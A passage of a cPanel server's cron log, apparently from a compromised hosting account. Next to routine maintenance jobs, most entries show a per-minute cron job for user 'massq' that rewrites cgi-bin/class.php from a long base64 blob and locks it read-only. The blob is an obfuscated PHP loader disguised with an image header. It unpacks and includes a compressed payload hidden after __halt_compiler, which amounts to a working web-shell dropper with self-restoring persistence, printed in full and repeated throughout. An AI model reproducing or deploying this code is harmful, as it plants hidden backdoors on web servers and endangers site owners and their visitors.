7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:22:01 server CROND[9042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:22:01 server CROND[9041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:22:01 server CROND[9043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:23:01 server CROND[9426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:23:01 server CROND[9427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:23:01 server CROND[9430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:24:01 server CROND[9902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:24:01 server CROND[9901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:24:01 server CROND[9903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:25:01 server CROND[10362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:25:01 server CROND[10364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:25:01 server CROND[10366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:25:01 server CROND[10368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:25:01 server CROND[10367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:25:01 server CROND[10371]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:25:01 server CROND[10369]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 00:25:01 server CROND[10365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:26:01 server CROND[11274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:26:01 server CROND[11275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:26:01 server CROND[11276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:27:01 server CROND[11712]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:27:01 server CROND[11713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:27:01 server CROND[11714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:27:01 server CROND[11715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:28:01 server CROND[12100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:28:01 server CROND[12101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:28:01 server CROND[12099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:29:01 server CROND[12504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:29:01 server CROND[12506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:29:01 server CROND[12505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:30:01 server CROND[13011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:30:01 server CROND[13012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:30:01 server CROND[13015]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 00:30:01 server CROND[13027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:30:01 server CROND[13034]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:30:01 server CROND[13036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:30:01 server CROND[13032]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:30:01 server CROND[13035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:30:01 server CROND[13033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:31:01 server CROND[13864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:31:01 server CROND[13863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:31:01 server CROND[13865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:32:01 server CROND[14257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:32:01 server CROND[14259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:32:01 server CROND[14260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:33:01 server CROND[14649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:33:01 server CROND[14648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
